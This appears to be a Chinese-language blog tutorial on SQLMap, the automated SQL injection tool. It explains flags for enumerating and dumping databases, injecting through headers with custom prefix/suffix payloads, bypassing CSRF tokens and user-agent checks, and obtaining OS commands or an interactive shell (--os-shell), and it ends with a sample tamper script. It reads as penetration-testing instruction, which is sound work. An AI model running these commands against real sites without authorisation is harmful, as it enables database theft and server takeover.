引言
SQLMap,是一款很老的自动注入工具了,最早我记得可能当时还流行着Pangolin(穿山甲)和Havij(由于图标问题我们叫它萝卜)。
实际上SQLMap,帮我们解决的就是对目标的大量自动注入测试。
目前来说,如今的ORM框架99%使用prepare预处理参数进行参数绑定,能注入的我估计只有新手能写得出来,或者是框架内对ORM进行封装的时候拼接有漏洞才会出现注入漏洞。
我也是从网络安全转到开发的,实际上我最开始学习各种编程语言和框架目的是为了渗透,然而现在感觉像是跑偏了。
SQLMap 连接数据库
SQLMap支持直接连接数据库
- 它支持文件类型数据库如:SQLite,Access,Firebird等。
- 它支持关系型数据库如:SQL Server,MySQL,Oracle,PostgreSQL等
- # 命令算是一种规范吧,-后面跟缩写 --后面跟全名,有些命令是因为缩写冲突,所以有些不支持写全只支持缩写,要么根据大小写区分。
- # -d 表示DIRECT 直连
- # -f 全命令是--fingerprint 指纹判别数据库类型 会在回显中显示 比如 MySQL
- # --banner 获取数据库标识,有些扫描软件将banner代替title之类的,意会一下,这里banner是获取MySQL版本号
- # --dbs 获取所有数据库
- # --users 获取所有用户名
- sqlmap.py -d "mysql://root:root@1270.0.0.1:3307/dbname" -f --banner --dbs --users
复制代码
文件读取目标注入
SQLMap还支持从文件读取目标,然后进行注入测试。
- -l 从Burp Proxy或WebScarab Proxy中读取Request日志。
- -x 从sitemap.xml站点地图读取目标。
- -m 从多行文本格式批量读取目标。
- -r 从文本文件中读取Reuqest内容。
- -c 从配置文件sqlmap.conf读取目标。
- # 针对burp记录的请求日志进行测试
- sqlmap.py -l ~/burplog/test
复制代码
指定URL注入
只需要使用-u就可以对目标url进行测试,它会尝试各种注入方式,比如时间盲注,报错注入,XSS跨站脚本等。
设置代理到Burp Suite可以用作如果目标有CSRF_TOKEN这种东西,可以配合Burp进行自动填充。 - # -u 拼写全是--url
- sqlmap.py -u "http://www.test.com/test.php?id=1" --banner
复制代码
GET/POST请求及重要参数 - # 由于使用--data提交数据,请求方式会隐式被转换为post请求
- sqlmap.py -u "http://www.test.com/test.php?id=1" --data="cid=1&id=2" -f --banner --dbs --users
复制代码
- --param-del="&" 这是默认的参数分隔符,不建议使用此项专门去改
- --method=PUT 请求方法可以设置GET POST PUT DELETE等
- --cookie=COOKIES 可以设置COOKIE,比如注入点需要登陆后才能访问会用到
- --user-agent=QQBrowser 可以设置UA头,有些检测会检测UA头是否是 urllib 库的默认UA头
- --random-agent 随机UA头
- --referer="http://www.baidu.com" 设置来源页,最早有些网站会检查referer是为了防御CSRF攻击
- --headers=HEADERS 可以添加额外的HTTP HEADER,必须使用\n分割
- –-delay=1 延迟1秒
- --safe-url="http://www.baidu.com"设置安全连接
- --safe-freq=SAFREQ 测试过程中,会对安全URL进行指定次数访问,目的是为了基于时间盲注可能会长时间因为服务器没有返回请求而断开连接。
- --proxy 设置代理 关于配合Burp:使用Burp Suite 绕过 CSRF_TOKEN
- --proxy-file 从文件读取多个代理自动设置
- --keep-alive 保持会话使用长链接
- --threads=1 默认使用1个线程,可以自己设置线程,如果你确定不会被WAF拉到黑名单,否则建议1个线程
- -D 指定数据库名
- --tables 枚举库中的所有表
- -T 指定表名
- --columns 枚举表内所有列
- --dump dump数据
- --flush-session 刷新session就是不保存cookie
- --csrf-token="token" 指定input表单token的name用于自动获取token
- --csrf-url="http://www.test.com/token.php" 如果获取token的页面和攻击页面不在一个地址,那么可以指定这个url
自定义prefix及suffix
在有些情况下我们希望自定义注入前缀和后缀。
比如http://www.test.com/test.php?id=1我们想要拼接的是 ') and ('1'='1 - sqlmap.py -u "http://www.test.com/test.php?id=1" --data="cid=1&id=2" --prefix="')" --suffix=" and ('1'='1" -f --banner --dbs --users
复制代码
Level等级设置
无论是从文件读取还是单个url测试,我们可以通过配置Level来进行对一些奇怪的点进行注入,比如X-Forwarded-For,HTTP_CF_IPCOUNTRY等等。
举个栗子: - GET /?id=1 HTTP/1.1
- Host: www.test.com
- Connection: close
- Upgrade-Insecure-Requests: 1
- User-Agent: Hello *
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
- Sec-Fetch-Site: none
- Sec-Fetch-Mode: navigate
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
- Cookie: PSTM=1603864167;
复制代码
注意UA头被我改成了*,把它保存成test.txt。 - # User-Agent我们使用*符号占位
- # 当level>=3时 此时会对*占位符的headers进行注入检测,level>=3时会对比如user-agent referer cookie等都可以进行注入检测
- sqlmap.py -r /log/test.txt --random-agent --level 3 -f --banner --dbs --users
复制代码- # 当 level=5时 还会对Host进行注入检测
- sqlmap.py -r /log/test.txt --random-agent --level 5 -f --banner --dbs --users
复制代码
额外的参数
- --sql-shell 交互式SQL的shell,用来执行SQL语句。
- --os-cmd="whoami" 执行whoami命令
- --os-shell 返回系统交互shell
tamper脚本
使用时可以通过--tamper指定需要用的tamper脚本,比如--tamper="unmagicquotes.py"就是让他使用宽字节注入的脚本。
如何编写tamper脚本
编写tamper脚本只要实现tamper(payload, **kwargs)函数即可。
举个栗子: - from lib.core.enums import PRIORITY
-
- __priority__ = PRIORITY.LOWEST # 优先级设置
-
- def dependencies(): # 当前脚本依赖,如果pass就是不检查
- pass
-
- def tamper(payload, **kwargs): # 将payload中所有的小写a替换成大写
- return payload and payload.replace('a','A') or payload
复制代码 |